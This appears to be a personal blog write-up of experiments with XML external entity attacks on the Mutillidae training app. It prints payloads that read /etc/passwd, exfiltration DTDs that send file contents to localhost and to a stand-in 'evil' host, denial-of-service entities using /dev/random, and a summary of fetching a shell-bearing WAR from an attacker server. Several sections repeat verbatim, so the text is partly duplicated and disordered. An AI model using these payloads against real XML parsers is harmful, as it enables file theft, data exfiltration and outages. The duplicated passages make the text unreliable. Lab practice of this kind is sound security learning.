XXE = XML eXternal Entities.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY file SYSTEM "/etc/passwd">
]>
<bar>&file;</bar>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY begin "<[CDATA[">
<!ENTITY end "]]>">
<!ENTITY file SYSTEM "foo.txt">
]>
<bar>&begin;&file;&end;</bar>
Exfiltration with HTTP call
I wondered whether I could get the data out via an HTTP call:
...
<!ENTITY file SYSTEM "helloworld.txt">
<!ENTITY leak SYSTEM "http://localhost/?&file;">
]>
<bar>&leak;</bar>
The XML validator page in Mutillidae takes XML as input.
http://localhost/mutillidae/index.php?page=xml-validator.php&xml=whatever
We can make the parser include a file using a SYSTEM entity.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY file SYSTEM "/etc/passwd">
]>
<bar>&file;</bar>
The SYSTEM entity can also grab remote resources using protocols such as HTTP.
Bad characters
The problem is that the content of the document is parsed as XML (and in accordance with the DOCTYPE), and this will often blow up due to undeclared entities, undeclared elements, and so on therein. So the types of document that can be grabbed, either locally or remotely, is limited. For example trying to load this sort of malformed content will blow up:
foo.txt: >!!<]>
This obviously isn't going to overcome it:
<bar><![CDATA[&file;]]></bar>
I really thought this would work, but it still tries to parse the file entity as XML (and fails):
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY begin "<[CDATA[">
<!ENTITY end "]]>">
<!ENTITY file SYSTEM "foo.txt">
]>
<bar>&begin;&file;&end;</bar>
Eventually I consulted an XXE guide, which told me I could get a CDATA section to work using parameters and a bit of indirection:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % file SYSTEM "foo.txt">
<!ENTITY % dtd SYSTEM "http://localhost/join.dtd">
%dtd;
]>
<bar>&joined;</bar>
join.dtd: <!ENTITY joined "%start;%file;%end;">
This does work (returning text >!!<]>), but it still has limitations, such as blowing up if it encounters a % character that isn't also a valid parameter reference. I.e. 'foo % bar' will blow up, but 'foo %bar;' won't (although '%bar;' doesn't refer to a valid param it doesn't count as an error, just a warning).
Exfiltration with HTTP call
I wondered whether I could get the data out via an HTTP call:
...
<!ENTITY file SYSTEM "helloworld.txt">
<!ENTITY leak SYSTEM "http://localhost/?&file;">
]>
<bar>&leak;</bar>
That doesn't work though. After reading around the subject a bit, I tried parameter expansion.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY % file "helloworld.txt">
<!ENTITY % dtd SYSTEM "http://localhost/join2.dtd">
%dtd;
%leaker;
]>
<bar>&leak;</bar>
join2.dtd: <!ENTITY % leaker "<!ENTITY leak SYSTEM 'http://localhost/?%file;'>">
This does work, resulting in a call to ?helloworld on the server, but it's an overall failure because the file parameter is merely a string, not a SYSTEM entity. Because if I make it a SYSTEM entity to read a file, it blows up (Invalid URI: http://localhost/?helloworld). It read the file data and constructed the URL just fine, it just doesn't want to call it!
I even tried copying somebody else's code pretty much verbatim, which does it only a slightly different way (managing to encode the % into the body of a param entity so that the leak can take place before any XML parsing takes place - all in the preprocessing section):
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "../helloworld.txt">
<!ENTITY % dtd SYSTEM "http://localhost/send.dtd">
%dtd;
%leaker;
%leaker;
%leak;
]]>
send.dtd:
<!ENTITY % leaker "<!ENTITY % leak SYSTEM 'http://evil/?%file;'>">
%all;
That fails with the same error message. Hmm.. no joy. Something to investigate more another time, I don't want to be beaten! But moving on for now...
Denial of service
Oops:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY file SYSTEM "/dev/random">
]>
<bar>&file;</bar>
Or:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY % dtd SYSTEM "http://localhost/blackhole.dtd">
%dtd;
]>
blackhole.dtd: %dtd;
I also tried entity A pointing at entity B, which pointed back at entity A, for a black hole. But that didn't work.
Other
The OWASP slides 'What You Didnt Know About XXE Attacks' have more interesting attacks in them, such as this one:
Amazing! :-)
I also tried entity A pointing at entity B, which pointed back at entity A, for a black hole. But that didn't work.
Other
The OWASP slides 'What You Didnt Know About XXE Attacks' have more interesting attacks in them, such as this one:
- Getting the server to retrieve a WAR from evilserver as part of a SYSTEM directive
- Holding the port open at the end of the xfer to leave the temp file in place
- Triggering deployment of the tempfile WAR, which contains a shell
Amazing! :-)
No comments:
Post a Comment